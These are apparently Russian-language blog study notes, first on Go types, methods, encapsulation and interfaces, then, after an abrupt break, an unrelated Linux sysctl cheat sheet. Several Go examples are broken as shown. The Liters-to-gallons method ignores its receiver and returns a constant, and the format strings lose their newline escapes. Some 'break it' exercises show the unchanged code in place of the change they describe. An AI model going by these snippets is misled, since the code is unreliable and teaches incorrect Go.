Определения типов позволяют вам создавать новые типы.
Каждый определяемый тип строится на основе базового типа, который определяет способ хранения значений.
У определяемых типов в качестве базового может использоваться любой тип, хотя чаще всего используются структуры.

Ключевые моменты:
- Переменную можно объявить с типом структуры.
Чтобы задать тип структуры, используйте ключевое слово struct со списком имен полей и типов, заключенным в фигурные скобки.
var myStruct struct {
field1 string
field2 int
}

- Многократно записывать типы структур неудобно, поэтому обычно бывает удобнее определить тип с базовым типом структуры. 
После этого определяемый тип может использоваться для переменных, параметров функций, возвращаемых значений и т. д.
type myType struct {
field1 string
}
var myVar myType

- Для обращения к полям структур используется оператор «точка».
myVar.field1 = "value"
fmt.Println(myVar.field1)

- Если структура должна изменяться внутри функции или занимает много памяти, следует передавать ее функции как указатель.

- Чтобы типы экспортировались из пакета, в котором они определяются, их имена должны начинаться с буквы верхнего регистра.

- Так же и поля структур доступны за пределами своего пакета только в том случае, если их имена начинаются с букв верхнего регистра.

- Литералы структур позволяют создать структуру одновременно с инициализацией ее полей.
myVar := myType{field1: "value"}

- При добавлении в структуру поля, у которого нет имени (а есть только тип), определяется анонимное поле.

- Внутренняя структура, добавляемая в составе внешней структуры в виде анонимного поля, называется встроенной.

- К полям встроенной структуры можно обращаться так, словно они принадлежат внешней структуре.

116. Определение методов

Определение метода очень похоже на определе­ние функции. 
На самом деле между ними суще­ствует только одно отличие: 
у метода перед име­нем функции добавляется один дополнительный параметр, называемый параметром получателя.

Как и в любых параметров функций, необходимо передать имя параметра получателя, за которым следует тип.

      Имя параметра получателя.
      |     Тип параметра получателя.
      |     |     
func (m MyType) sayHi() {
    fmt.Println("Hi from", m)
 }

Вызов метода, который вы определили, состоит из значения, для которого вызы­вается метод, точки, имени вызываемого метода и пары круглых скобок. 
Значение, для которого вызывается метод, называется получателем метода.

Сходство между вызовами методов и определениями методов поможет вам запомнить синтаксис: 
получатель стоит на первом месте при вызове ме­тода, а параметр получателя стоит на первом месте при определении метода.
 value := MyType("a MyType value")
 value.sayHi()
  |      |
  |      Имя метода.
Получатель метода.
            
Имя параметра получателя в определении метода выбирается произвольно, но важен тип; метод, который вы определяете, связывается со всеми значениями этого типа.
Ниже мы определяем тип с именем MyType, имеющий базовый тип string. Затем определяется метод с именем sayHi. 
Так как sayHi имеет параметр получателя с типом MyType, метод sayHi можно будет вызывать для любого значения MyType. 
(Многие разработчики скажут, что сам метод sayHi определяется для типа MyType.)

Пример:
package main
import "fmt"
type MyType string //Определяется новый тип
func (m MyType) sayHi() {
        fmt.Println("Hi")
}
func main() {
        value := MyType("a MyType value") //Создается значение MyType.
        value.sayHi() //Вызывается sayHi для этого значения
        anotherValue := MyType("another value") //Создается другое значение MyType
        anotherValue.sayHi() //Вызывается sayHi для нового значения.
}

После того как метод будет определен для типа, его можно будет вызывать для любого значения этого типа.
В следующем примере мы создаем два разных значения MyType и вызываем sayHi для каждого из них.


Метод (почти) не отличается от функции
Помимо того что методы вызываются для получателя, в остальном они очень похожи на любые другие функции.
Как и в случае с другими функциями, вы можете определять дополнительные параметры в круглых скобках после имени метода. 
К этим переменным/параметрам можно обращаться в блоке метода наряду с параметром получателя. 
При вызове метода необходимо предоставить аргумент для каждого параметра.
package main
import "fmt"
type MyType string
func (m MyType) MethodWithParameters(number int, flag bool) {
        fmt.Println(m)
        fmt.Println(number)
        fmt.Println(flag)
}
func main() {
        value := MyType("MyType value")
        value.MethodWithParameters(4, true)
}

Как и в случае с другими функциями, для метода можно объявить одно или несколько возвращаемых значений, которые будут возвращаться при вызове метода:
package main
import "fmt"
type MyType string
func (m MyType) WithReturn() int {
        return len(m)
}
func main() {
        value := MyType("MyType value")
        fmt.Println(value.WithReturn())
}


Как и в случае с любой другой функцией, метод экспортируется из текущего пакета, если его имя начинается с буквы верхнего регистра, 
и не экспортируется, если имя начинается с буквы нижнего регистра. 
Если вы хотите использовать свой метод за пределами текущего пакета, проследите за тем, чтобы его имя начиналось с буквы верхнего регистра.
                Экспортируется — имя начинается с буквы верхнего регистра.
                |     
func (m MyType) ExportedMethod() { 
} 
func (m MyType) unexportedMethod() { 
}               |
                Не экспортируется — имя начинается с буквы нижнего регистра.

Вопросы:
В: Могу ли я определять новые методы для любого типа?
О: Только для типов, определяемых в том же пакете, в котором определяется метод. 
Это означает, что вы не сможете определять методы для типов из стороннего пакета security, из своего пакета hacking или определять новые методы для таких фундаментальных типов, как int или string.
В: Но мне очень нужно использовать свои методы с чужими типами!
О: Для начала подумайте, не подойдет ли для этого функция, ведь функции могут получать любые типы в параметрах. 
Но если вам действительно необходимо значение, которое имеет собственные методы, а также некоторые методы типа из другого пакета, создайте тип структуры, 
в котором тип из другого пакета встроен как анонимное поле. 
В: Я видел другие языки, в которых получатель метода был доступен в блоке метода в виде специальной переменной с именем self или this. 
А как дело обстоит в Go?
О: Go использует параметры получателей вместо self и this. 
Принципиальное отличие заключается в том, что self и this задаются неявно, тогда как параметр получателя объявляется явно.
 В остальном параметры получателей работают точно так же, а языку Go не нужно резервировать self или this как ключевые слова!
(Вы даже сможете присвоить параметру получателя имя this, но делать так не стоит: 
по общепринятым соглашениям вместо этого используется первая буква имени типа.)


Go позволяет присвоить параметру получателя любое имя, но код будет лучше читаться, если все методы, 
определяемые для типа, имеют параметры получателей с одинаковыми именами.


По общепринятым соглашениям разработчики Go обычно используют имя, состоящее из одной буквы — первой буквы имени типа получателя в нижнем регистре. 
(Именно поэтому мы использовали m как имя параметра получателя MyType.)

Метод почти не отличается от функции
Помимо того что методы вызываются для получателя, в остальном они очень похожи на любые другие функции.
Как и в случае с другими функциями, вы можете определять допол­нительные параметры в круглых скобках после имени метода. 
К этим переменным/параметрам можно обращаться в блоке метода наряду с параметром получателя. 
При вызове метода необходимо предоставить аргумент для каждого параметра.

117. Будьте осторожны!

Чтобы вызвать метод, которому требуется получатель-указатель, необходимо иметь возможность получить указатель на значение! 

Вы можете получать указатели только на значения, хранящиеся в переменных. 
При попытке получить адрес значения, не хранящегося в переменной, вы получите сообщение об ошибке:
&MyType("a value")
Ошибка.
cannot take the address of MyType("a value")

То же ограничение действует при вызове методов с получателями-указателями. 
Go может автоматически преобразовать значения в указатели, но только если значение указателя хранится в переменной. 
При попытке вызвать метод для самого значения Go не сможет получить указатель, и вы получите похожую ошибку:
MyType("a value").pointerMethod()
Ошибки.
cannot call pointer method
on MyType("a value")
cannot take the address
of MyType("a value")


Вместо этого нужно сохранить значение в переменной; 
это позволит Go получить указатель на нее:
value := MyType("a value")
value.pointerMethod() //Go преобразует значение в указатель.

118. Сломай и изучи!

Перед вами уже знакомый тип Number с определениями пары методов. 
Внесите одно из указанных изменений и запустите программу; 
затем отмените изменение и переходите к следующему. 
Посмотрите, что из этого выйдет!

#0 Пример кода:
package main
import "fmt"
type Number int
func (n *Number) Display() {
      fmt.Println(*n)
}
func (n *Number) Double() {
        *n *= 2
}
func main() {
        number := Number(4)
        number.Double()
        number.Display()
}

#1 Заменить тип параметра получателя типом, не определенным в текущем пакете:
func (n *Numberint) Double() {
*n *= 2
}
Ошибка:
# command-line-arguments
./22_type_method.go:7:6: cannot define new methods on non-local type int
./22_type_method.go:18:8: number.Display undefined (type Number has no field or method Display)
Программа не будет работать, потому что:
Новые методы могут определяться только для типов, объявленных в текущем пакете. 
Определение метода для глобально определяемого типа (такого, как int) приведет к ошибке компиляции.


#2 Заменить тип параметра получателя Double типом, который не является указателем:
func (n *Number) Double() {
*n *= 2
}
Ошибка:
работает не правильно
Программа не будет работать, потому что:
Параметры получателей получают копию значения, для которого был вызван метод. 
Если функция Double изменит только копию, то исходное значение останется неизменным при выходе из Double.

#3 Вызвать метод, которому необходим получатель-указатель, для значения, которое не хранится в переменной:
Number(4).Double()
Ошибка:
# command-line-arguments
./24_type_method.go:19:11: cannot call pointer method on Number(4)
./24_type_method.go:19:11: cannot take the address of Number(4)
Программа не будет работать, потому что:
При вызове метода с получателем, который является указателем, 
Go может автоматически преобразовать значение в указатель на получателя, 
если он хранится в переменной. 
В противном случае произойдет ошибка

#4 Заменить тип параметра получателя Display типом, который не является указателем:
func (n *Number) Display() {
fmt.Println(*n)
}
Ошибка:
Нарушает общепринятые соглашения! :(
Программа не будет работать, потому что:
На самом деле после внесения этого изменения код будет работать, но нарушит общепринятые соглашения!
Параметры получателей в методах типа могут быть либо указателями, либо значениями, и смешивать их не рекомендуется

119. Преобразование литров и миллилитров в галлоны с помощью методов


package main

import "fmt"

type Liters float64
type Milliliters float64
type Gallons float64

func (l Liters) ToGallons() Gallons {
        return Gallons(1 * 0.264) //Блок метода не отличается от блока функции
}

func (m Milliliters) ToGallons() Gallons { //Имена могут быть одинаковыми, если они определяются для разных типов
        return Gallons(m * 0.000264) //Блок метода не отличается от блока функции
}

func main() {
        soda := Liters(2) //Создание Liters
        fmt.Printf("%0.3f litters equals %0.3f gallonsn", soda, soda.ToGallons())
        water := Milliliters(500)                                                        // Создание значения Milliliters
        fmt.Printf("%0.3f milliliters equals %0.3f gallonsn", water, water.ToGallons()) //Преобразование Milliliters в Gallons
}


120. Ключевые моменты

Определяемые типы:
Определение типов позволяют вам создавать собственные типы.
Каждый определяемый тип основывается на базовом типе, который определяет формат хранения значений.

Определение методов:
Определение метода не отличается от определения функции, помимо того, что в него включается параметр получателя.
Метод связывается с типом параметра получателя.
В дальнейшем этот метод может вызываться для любых значений этого типа.

- После того как тип будет определен, вы можете выполнить преобразование к нему любого значения того же базового типа:
Gallons(10.0)

- После определения типа переменной значения других типов не могут присваиваться этой переменной, даже если они имеют тот же базовый тип.

- Определяемый тип поддерживает все те же операторы, что и базовый тип. 
Например, тип, основывающийся на базовом типе int, будет поддерживать операторы +, -, *, /, ==, > и <.

- Определяемый тип может использоваться в операциях совместно со значениями-литералами:
Gallons(10.0) + 2.3

- Чтобы определить метод, укажите параметр получателя в круглых скобках перед именем метода:
func (m MyType) MyMethod() {
}

- Параметр получателя может использоваться в блоке метода, как любой другой параметр:
func (m MyType) MyMethod() {
fmt.Println("called on", m)
}

- Для методов, как и для любых других функций, можно определять дополнительные параметры или возвращаемые значения.

- Определение нескольких одноименных функций в одном пакете запрещено, даже если они имеют параметры разных типов. 
С другой стороны, вы можете определить несколько методов с одинаковыми именами при условии, 
что они определяются для разных типов.

- Методы могут определяться только для типов, определенных в том же пакете.

- Как и для других параметров, в параметрах получателей передается копия исходного значения.
Если ваш метод должен изменять получатель, используйте тип указателя для параметра получателя и измените значение по этому указателю.



120. Инкапсуляция и встраивание / Set-метод

Тип структуры — всего лишь разновидность определяемого типа; 
это означает, что для него, как и для любых других определяемых типов, могут определяться методы. 
Попробуем создать для типа Date методы SetYear, SetMonth и SetDay, которые получают значение, проверяют его, 
и если значение допустимо — присваивают его соответствующему полю структуры.

Такие методы часто называются set-методами, или сеттерами.
По общепринятым соглашениям set-методам в Go присваиваются имена в форме SetX, где X — присваиваемое поле.

121. Get-методы

Как вы уже знаете, методы, предназначенные для присваивания значения поля структуры или переменной, называются set-методами. 
Как и следовало ожидать, методы, предназначенные для получения значения поля структуры или переменной, называются get-методами, или геттерами.
По сравнению с set-методами добавить get-методы в тип Date будет проще. 
При вызове им не нужно ничего делать, кроме как вернуть значение поля.

По общепринятым соглашениям имя get-метода должно совпадать с именем поля или переменной, к которой он обращается. 
(Конечно, чтобы метод экспортировался, его имя должно начинаться с буквы верхнего регистра.) 
Таким образом, типу Date понадобится метод Year для обращения к полю year, метод Month для обращения к полю month, а метод Day для поля day.
Get-методам вообще не нужно изменять получателя, поэтому в качестве получателя можно было использовать непосредственное значение Date. 
Но если любой метод типа получает указатель на получателя, согласно общепринятым соглашениям все методы должны получать указатель для предотвращения путаницы. 
Так как set-методы используют указатель на получателя, get-методы тоже должны использовать указатель.
После внесения всех изменений в date.go обновим файл main.go: сначала он задает значения всех полей Date, а затем выводит их при помощи get-методов.


Пример кода date.go
package calendar
import "errors"
type Date struct {
year int
month int
day int
}
func (d *Date) Year() int {
return d.year
}
func (d *Date) Month() int {
return d.month
}
func (d *Date) Day() int {
return d.day
}
// Set-методы пропущены

Пример кода main.go
// Директивы package и import пропущены
func main() {
date := calendar.Date{}
err := date.SetYear(2019)
if err != nil {
log.Fatal(err)
}
err = date.SetMonth(5)
if err != nil {
log.Fatal(err)
}
err = date.SetDay(27)
if err != nil {
log.Fatal(err)
}
fmt.Println(date.Year())
fmt.Println(date.Month())
fmt.Println(date.Day())
}

121. Инкапсуляция

Практика сокрытия данных в одной части программы от кода в другой части называется инкапсуляцией. 
Механизм инкапсуляции поддерживается не только в Go. Инкапсуляция полезна прежде всего тем, что помогает защититься от некорректных данных (как вы уже видели). 
Кроме того, разработчик может изменять инкапсулированную часть программы, не рискуя нарушить работоспособность другого кода, 
который обращается к этой части из-за возможности прямого доступа.
Многие другие языки программирования инкапсулируют данные в классах. 
(На концептуальном уровне классы похожи на типы Go, но не идентичны им.) 
В Go данные инкапсулируются в пакетах с применением не экспортируемых переменных, полей структур, функций или методов.
В других языках инкапсуляция применяется намного чаще, чем в Go. 
Например, в некоторых языках принято определять get- и set-методы для каждого поля, даже если к нему можно обратиться напрямую. 
Разработчики обычно применяют инкапсуляцию только при необходимости — например, когда требуется проверить данные поля set-методами. 
В языке Go, если вы не видите явной необходимости в инкапсуляции поля, 
обычно бывает проще экспортировать это поле и предоставить прямой доступ к нему.


Вопросы:
В: Многие другие языки не разрешают обращаться к инкапсулированным значениями за пределами класса, в котором они определяются. 
Go разрешает другому коду из того же пакета обращаться к не экспортируемым полям. 
Насколько это безопасно?
О: Как правило, весь код пакета пишется одним разработчиком (или группой разработчиков). 
Кроме того, весь код пакета обычно предназначен для одной цели. 
Скорее всего, авторам кода из пакета потребуется доступ к не экспортируемым данным, поэтому с большой вероятностью они будут работать с этими данными корректно. 
Таким образом, взаимодействие остального кода пакета с не экспортированными данными обычно безопасно.
С другой стороны, код за пределами пакета с большой вероятностью будет написан другими разработчиками, 
но это нормально — ведь не экспортированные поля скрыты от них, и они не могут случайно изменить их недействительными значениями.

В: Я видел другие языки, в которых имена всех get-методов начинаются с префикса «Get» — например, GetName, GetCity и т. д. 
А в Go это возможно?
О: Язык Go позволит вам это сделать, но так поступать не стоит. 
Сообщество Go выработало соглашения, по которым префикс Get не указывается в именах get-методов. 
Включение префикса только запутает ваших коллег-разработчиков!
Для set-методов в Go используется префикс Set, как и во многих других языках, 
потому что позволяет отличить set-методы от get-методов для того же поля.


Инкапсуляция — практика сокрытия данных в одной части программы от кода в другой части.
Инкапсуляция может использоваться для защиты от недействительных данных.
Инкапсулированные данные проще изменять. 
Вы можете быть уверены в том, что это не нарушит работоспособности кода, обращающегося к этим данным.

Встраивание
Тип, хранимый в типе структуры с использованием анонимного поля, называется встроенным в структуру.
Методы встроенного типа повышаются до внешнего типа.
Они могут вызываться так, как если бы были определены для внешнего типа.

Ключевые моменты:
- В Go данные инкапсулируются в пакетах с помощью не экспортированных переменных пакетов или полей структур.

- К не экспортированным переменным, полям структур, функциям, методам и т. д. можно обращаться из экспортируемых функций и методов, определенных в том же пакете.

- Практика проверки действительности данных перед их сохранением называется проверкой данных.

- Метод, используемый в основном для задания значения не инкапсулируемого поля, называется set-методом. 
Set-методы часто включают логику проверки данных, которая гарантирует, что присваиваемое значение будет допустимым.

- Так как set-методы должны изменять своего получателя, их параметр получателя должен иметь тип указателя.

- Традиционно set-методам присваиваются имена вида SetX, где X — имя присваиваемого поля.

- Метод, предназначенный для получения значения инкапсулированного поля, называется get-методом.

- Имена get-методов традиционно задаются в форме X, где X — имя поля. 
В некоторых других языках программирования для get-методов была выбрана форма GetX, но в Go эту форму использовать не рекомендуется.

- Методы, определяемые для внешнего типа структуры, существуют на одном уровне с методами, повышенными от встроенного типа.

- Не экспортируемые методы встроенного типа не повышаются до уровня внешнего типа.

122. Интерфейсы

Иногда конкретный тип значения не важен. 
Вас не интересует, с чем вы работаете. 
Вы просто хотите быть уверены в том, что оно может делать то, что нужно вам. 
Тогда вы сможете вызывать для значения определенные методы. 
Неважно, с каким значением вы работаете — Pen или Pencil; вам просто нужно нечто, содержащее метод Draw. 
Именно эту задачу решают интерфейсы в языке Go. Они позволяют определять переменные и параметры функций, 
которые могут хранить любой тип при условии, что этот тип определяет некоторые методы.

Помните кассетные магнитофоны? (Хотя, наверное, некоторые читатели их уже не застали.) Это были полезные устройства. 
Они позволяли легко записать на пленку все ваши любимые песни — даже созданные разными исполнителями. 
Конечно, магнитофоны были слишком громоздкими, чтобы постоянно носить их с собой. 
Если вам хотелось взять кассеты в дорогу, обычно для этого использовались плееры на батарейках. 
Плееры обычно не поддерживали возможности записи. 
Ах, как же это было здорово — создавать собственные миксы и обмениваться ими с друзьями!
Ностальгия так захватила нас, что мы создали пакет gadget для оживления воспоминаний. 
В него входит тип TapeRecorder, представляющий кассетный магнитофон, и тип TapePlayer, представляющий плеер.

Ошибки:
# command-line-arguments
./04_gadget.err.go:40:10: cannot use player (type TapeRecorder) as type TapePlayer in argument to playList

Когда вы устанавливаете программу на свой компьютер, разумно ожидать, что эта программа предоставит какие-то средства для взаимодействия с ней. 
Текстовый редактор предоставит место для ввода текста. Программа архивации — возможность выбрать сохраняемые файлы. 
В электронной таблице есть инструменты для вставки столбцов и строк данных. Набор средств, предоставляемых программой для взаимодействия с ней, часто называется ее интерфейсом.
Задумывались вы об этом или нет, можно ожидать, что значения Go тоже предоставят средства для взаимодействия с ними. 
Как вы чаще всего взаимодействуете со значениями Go? Пожалуй, через их методы.
В Go интерфейс определяется как набор методов, которые должны поддерживаться некоторыми значениями. 
Таким образом, интерфейс представляет набор действий, выполняемых с использованием типа.
Определение типа интерфейса состоит из ключевого слова interface, за ним следуют фигурные скобки со списком имен методов, 
а также параметрами и возвращаемыми значениями, которые должны иметь эти методы.


Интерфейс — набор методов, который должен поддерживаться некоторыми значениями.
                     Ключевое слово interface
                     |
type myInterface interface {
methodWithoutParameters() //Имя метода
methodWithParameter(float64) //Имя метода //Тип параметра
methodWithReturnValue() string  //Имя метода
}                         |
                          Тип возвращаемого значения.

Любой тип, который содержит все методы, перечисленные в определении интерфейса, называется поддерживающим этот интерфейс. 
Тип, поддерживающий интерфейс, может использоваться в любом месте, где должен использоваться этот интерфейс.
Имена методов, типы параметров (если они есть) и типы возвращаемых значений (если они есть) должны совпадать с определениями в интерфейсе. 
Тип может содержать методы помимо тех, которые перечислены в интерфейсе, но в нем не могут отсутствовать такие методы, иначе тип не будет поддерживать интерфейс.
Тип может поддерживать несколько интерфейсов, а интерфейс может (и обычно должен) поддерживаться несколькими типами.


122. Интерфейсы, cломай и изучи!

Пример кода:
package main
import "fmt"
type Appliance interface {
        TurnOn()
}
type Fan string
func (f Fan) TurnOn() {
        fmt.Println("Spinning")
}
type CoffeePot string
func (c CoffeePot) TurnOn() {
        fmt.Println("Powering up")
}
func (c CoffeePot) Brew() {
        fmt.Println("Heating Up")
}
func main() {
        var device Appliance
        device = Fan("Windco Breeze")
        device.TurnOn()
        device = CoffeePot("LuxBrew")
        device.TurnOn()
}

Вывод:
Spinning
Powering up

Приступаем ломать:

#1 Вызвать метод конкретного типа, не определенный в интерфейсе:
device.Brew()
Ошибка:
# command-line-arguments
./08_dz.go:28:8: device.Brew undefined (type Appliance has no field or method Brew)
Почему ошибка:
Если в переменной с типом интерфейса хранится значение, вызывать можно только методы, 
определенные как часть интерфейса, независимо от того, какие методы содержит реальный тип.


#2 Удалить из типа метод, обеспечивающий поддержку интерфейса:
func (c CoffeePot) TurnOn() {
fmt.Println("Powering up")
}
Ошибка:
# command-line-arguments
./09_dz.go:23:9: cannot use CoffeePot("LuxBrew") (type CoffeePot) as type Appliance in assignment:
        CoffeePot does not implement Appliance (missing TurnOn method)
Почему ошибка:
Если тип не поддерживает интерфейс, значения этого типа не могут присваиваться переменным, объявленным с типом этого интерфейса



#3 Добавить новое возвращаемое значение или параметр в метод, обеспечивающий поддержку интерфейса:
func (f Fan) TurnOn() error {
fmt.Println("Spinning")
return nil
}
Ошибка:
# command-line-arguments
./10_dz.go:23:6: method redeclared: Fan.TurnOn
        method(Fan) func()
        method(Fan) func() error
./10_dz.go:23:14: Fan.TurnOn redeclared in this block
        previous declaration at ./10_dz.go:10:6
Почему ошибка:
Если количество и типы всех параметров и возвращаемых значений не соответствуют определению метода конкретного типа и определению метода в интерфейсе, 
то конкретный тип не поддерживает интерфейс.

123. Ключевые моменты Интерфейсы:


Интерфейс — набор методов, которые должны поддерживаться некоторыми значениями.
Любой тип, который содержит все методы, перечисленные в определении интерфейса, поддерживает этот интерфейс.
Тип, поддерживающий интерфейс, может быть присвоен любой переменной или параметру функции, которые объявлены с типом этого интерфейса.

- Конкретный тип указывает не только то, что могут делать значения (какие методы для них можно вызывать), 
но и то, чем они являются: он задает базовый тип, в котором хранятся данные значения.

- Тип интерфейса — абстрактный тип. 
Интерфейсы не описывают, чем является значение: 
они ничего не говорят о том, какой базовый тип используется или как хранятся его данные. 
Они описывают только то, что значение может делать:  какие методы оно содержит.

- Определение интерфейса должно содержать список имен методов со всеми параметрами или возвращаемыми значениями, которые должны иметь такие методы.

- Чтобы поддерживать интерфейс, тип должен содержать все методы, заданные в интерфейсе. 
Имена методов, типы параметров (если они есть) и типы возвращаемых значений (если они есть) должны совпадать с теми, которые определены в интерфейсе.

- Тип может содержать методы помимо тех, которые перечислены в интерфейсе, но никакие из обязательных методов не могут отсутствовать; 
в противном случае тип не поддерживает интерфейс.

- Тип может поддерживать сразу несколько интерфейсов, и интерфейс может поддерживаться сразу несколькими типами.

- Поддержка интерфейсов достигается автоматически.
В Go не нужно специально объявлять, что конкретный тип поддерживает интерфейс.

- Для переменной с типом интерфейса можно вызывать только те методы, которые определены в интерфейсе.

- Если значение конкретного типа присвоено переменной с типом интерфейса, вы можете воспользоваться
утверждением типа для получения значения конкретного типа. 
Только после этого вы сможете вызывать методы, определенные для конкретного типа (но не для интерфейса).

- Утверждения типов возвращают второе логическое значение, которое сообщает, успешно ли было выполнено утверждение.
car, ok := vehicle.(Car)

124. Восстановление после сбоев



Рубрики
*NIX информация Конспект

Конспект: sysctl

sysctl

sysctl     - позволяет посмотреть параметры в системы и внести изменения, такие как стек tcp/ip, виртуальной памяти
sysctl -a  - показывает все параметры
sysctl -A | less - отобразить все динамические параметры ядра

sysctl -f  - выполняем для применения изменений без перезагрузки
sysctl -p  - выполняем для применения изменений без перезагрузки 
sysctl -p changes.conf - принять изменения в changes.conf без перезагрузки

!!!  /proc/sys/ 
!!! kern  kernel  зависит от дистрибутива
!!! клавиша TAB в помощь

sysctl kern.ipc.numopensockets — показывает количество открытых сокетов
sysctl kern.openfiles — показывает количество открытых файлов
sysctl kernel.hostname - показать имя системы
sysctl fs.nr_open - cколько дескрипторов файлов используется
sysctl net.ipv4.ip_forward

cat /proc/sys/net/ipv4/ip_forward - проверяем текущие состояние ip_forward
cat /proc/sys/kernel/hostname - показать имя системы

sysctl -w net.ipv6.conf.all.disable_ipv6=1 - выключить ipv6
sysctl -w net.ipv6.conf.default.disable_ipv6=1 - выключить ipv6

ip_forward

!!! Самое частое ради чего лезут в sysctl это включают forward для сетевых интерфейсов

net.ipv4.ip_forward=1
net.ipv6.conf.all.forwarding=1

cat /proc/sys/net/ipv4/ip_forward - проверяем текущие состояние ip_forward
echo 1 > /proc/sys/net/ipv4/ip_forward - так мы можем включить IP forward
 
!!! Для постоянного включения необходимо отредактировать файл  /etc/sysctl.conf, найти строку net.ipv4.ip_forward=1 и убрать комментарий с неё
vim /etc/sysctl.conf
---------------------
# Uncomment the next line to enable packet forwarding for IPv4
net.ipv4.ip_forward=1
---------------------
sysctl -p  - выполняем для применения изменений без перезагрузки 


ipv6

!!! отключение ipv6  достаточно бесполезная фигня  не делай этого если не знаешь зачем хочешь его отключить

#disable ipv6 settins
net.ipv6.conf.all.disable_ipv6 = 1
net.ipv6.conf.default.disable_ipv6 = 1
net.ipv6.conf.lo.disable_ipv6 = 1

файлы

Ограничения на всю систему по открытым файлам:
sysctl fs.file-max        - показать максимальное количество открытых файлов
sysctl fs.file-max=102400 - меняем максимальное количества открытых файлов

echo "1024 50000" > /proc/sys/net/ipv4/ip_local_port_range - диапазон портов
 
vim /etc/sysctl.conf
fs.file-max=102400  - Ввод по умолчанию sysctl.conf
sysctl -p  - выполняем для применения изменений без перезагрузки 


ограничения открытых файлов shell/script
ulimit -a - Смотрим ограничения
ulimit -n 10240 - Меняем ограничение на количество открытых файлов, только shell


ограничения user / process
cat /etc/security/limits.conf
*   hard    nproc   250 - Ограничения пользовательских процессов
asterisk hard nofile 409600 - Ограничения на открытые файлы приложения


монтирование / mount

Разрешить пользователям монтирование дисков:
# sysctl vfs.usermount=1  # Или впишите строку "vfs.usermount=1" in /etc/sysctl.conf

Таблица NAT:

# sysctl net.netfilter.nf_conntrack_max - посмотреть текущий размер таблицы NAT
net.netfilter.nf_conntrack_max = 65536
 
# sysctl -a | grep conntrack_max - посмотреть текущий размер таблицы NAT
net.netfilter.nf_conntrack_max = 65536
net.ipv4.netfilter.ip_conntrack_max = 65536
net.nf_conntrack_max = 65536
 
# sysctl net.netfilter.nf_conntrack_count - посмотреть заполненность таблицы
net.netfilter.nf_conntrack_count = 654

# Решение ошибки "nf_conntrack: table full, dropping packet"
net.ipv4.netfilter.ip_conntrack_max=1548576

Отключаем ответы на ping

!!! Не надо отключать пинг

sysctl net.ipv4.icmp_echo_ignore_all - узнаем что с пингом
sysctl -w net.ipv4.icmp_echo_ignore_all=1 - отключаем ответ на ping
sysctl -w net.ipv4.icmp_echo_ignore_all=0 - включаем ответ на ping

чтоб сохранялось при перегрузке
nano /etc/sysctl.conf - проверяем значение
net.ipv4.icmp_echo_ignore_all=1 - выставляем 1 и сохраняем

rp_filter

!!! Не рекомендуется включать, если вы не знаете зачем.

net.ipv4.conf.default.rp_filter=1
net.ipv4.conf.all.rp_filter=1

Принцип фильтрования в rp_filter:
Если ответ на текущий пакет не может уйти через тот же интерфейс 
(когда приходит через один интерфейс, а уходит через другой), 
пакет отфильтровывается.

По умолчанию: 
net.ipv4.conf.all.rp_filter = 1
 
Выключение rp_filter для всех интерфейсов:
for i in /proc/sys/net/ipv4/conf/*/rp_filter ; do
  echo 0 > $i 
done


Network SFP+

!!! Современные дистрибутивы автоматически настраивают оптимальные параметры сетевой карты

# Разрешить тестирование с буферами до 64МБ 
net.core.rmem_max = 67108864 
net.core.wmem_max = 67108864 

# Увеличить лимит буфера TCP автонастройки Linux до 32 МБ
net.ipv4.tcp_rmem = 4096 87380 33554432
net.ipv4.tcp_wmem = 4096 65536 33554432

# Рекомендуемый контроль перегрузки по умолчанию — htcp 
net.ipv4.tcp_congestion_control=htcp

# Рекомендуется для хостов с включенными большими кадрами
net.ipv4.tcp_mtu_probing=1

# Рекомендуется включить "fair queueing/справедливую очередь"
net.core.default_qdisc = fq
 

swap

vm.swappiness = 10 - начинать использовать swap когда осталось 10% памяти  (0 не использовать swap)

ipv4

https://www.opennet.ru/docs/RUS/LARTC/x1727.html


/proc/sys/net/ipv4/icmp_echo_ignore_all
Параметр может принимать два значения -- 0 (выключено) и 1 (включено). Значение по-умолчанию -- 0 (выключено). 
Если записана 1, то ядро просто игнорирует все ICMP Echo Request запросы и тогда никто не сможет ping-ануть вашу машину, чтобы проверить ее наличие в сети, что само по себе не есть хорошо. 
С одной стороны -- окружающие лишены возможности проверить ваше присутствие в сети, с другой -- существует масса приложений, 
которые используют ICMP Echo Request запросы далеко не в благовидных целях.
Вообщем все как всегда -- что-то плохо, а что-то хорошо.


/proc/sys/net/ipv4/icmp_echo_ignore_broadcasts
Эта переменная очень близка по смыслу к icmp_echo_ignore_all, только в данном случае будут игнорироваться ICMP-сообщения, 
отправленные на широковещательный или групповой адрес. Вполне очевидно, почему полезно включить этот параметр -- защита от smurf атак.


/proc/sys/net/ipv4/icmp_ignore_bogus_error_responses
Отдельные маршрутизаторы, вопреки стандартам, описанным в RFC 1122, отправляют фиктивные ответы в широковещательном диапазоне. 
Обычно эти ошибки заносятся в системный журнал. 
Если вы не желаете регистрировать их, то включите этот параметр и тем самым сбережете некоторый объем дискового пространства в своей системе. 
Параметр может принимать два значения -- 0 (выключено) и 1 (включено). 
Значение по-умолчанию -- 0 (выключено)


/proc/sys/net/ipv4/icmp_ratelimit
Максимальная частота генерации ICMP-пакетов с типом, указанным в icmp_ratemask (см. ниже). 
Это значение задается в "тиках" и устанавливает временной интервал между ICMP-посылками. Таким образом, значение 0 означает отсутствие ограничений. 
Обычно 1 "тик" равен 0.01 секунды, так значение 1 в этой переменной ограничивает скорость передачи не более 100 посылок в секунду, а значение 100 -- не более 1 посылки в секунду. 
Значение по-умолчанию -- 100 (зависит от конфигурации ядра), что означает не более 1 ICMP посылки за интервал в 100 "тиков".


/proc/sys/net/ipv4/icmp_ratemask
Маска ICMP типов, на которые накладывается ограничение по частоте генерации переменной icmp_ratelimit. 
Каждый из ICMP типов маскируется своим битом.
icmp_ratemask -- это битовая маска, где каждый ICMP тип представлен своим битом. 
Соответствие между символическим названием ICMP типа и его порядковым номером вы найдете в заголовочном файле netinet/ip_icmp.h (обычно это /usr/include/netinet/ip_icmp.h). 
За дополнительной информацией обращайтесь к RFC 792 - Internet Control Message Protocol. 
Значение по-умолчанию -- 6168


/proc/sys/net/ipv4/igmp_max_memberships
Максимальное число групп на каждый сокет. 
Значение по-умолчанию -- 20 и может быть изменено по мере необходимости. 


/proc/sys/net/ipv4/inet_peer_maxttl
Это максимальное время хранения записей. 
При незначительных нагрузках на систему неиспользуемые записи будут удаляться через данный промежуток времени.


/proc/sys/net/ipv4/inet_peer_minttl
Параметр определяет минимальное время хранения данных в "inet peer storage". 
Это время должно быть достаточно большим, чтобы перекрыть время сборки фрагментов на противоположной стороне.
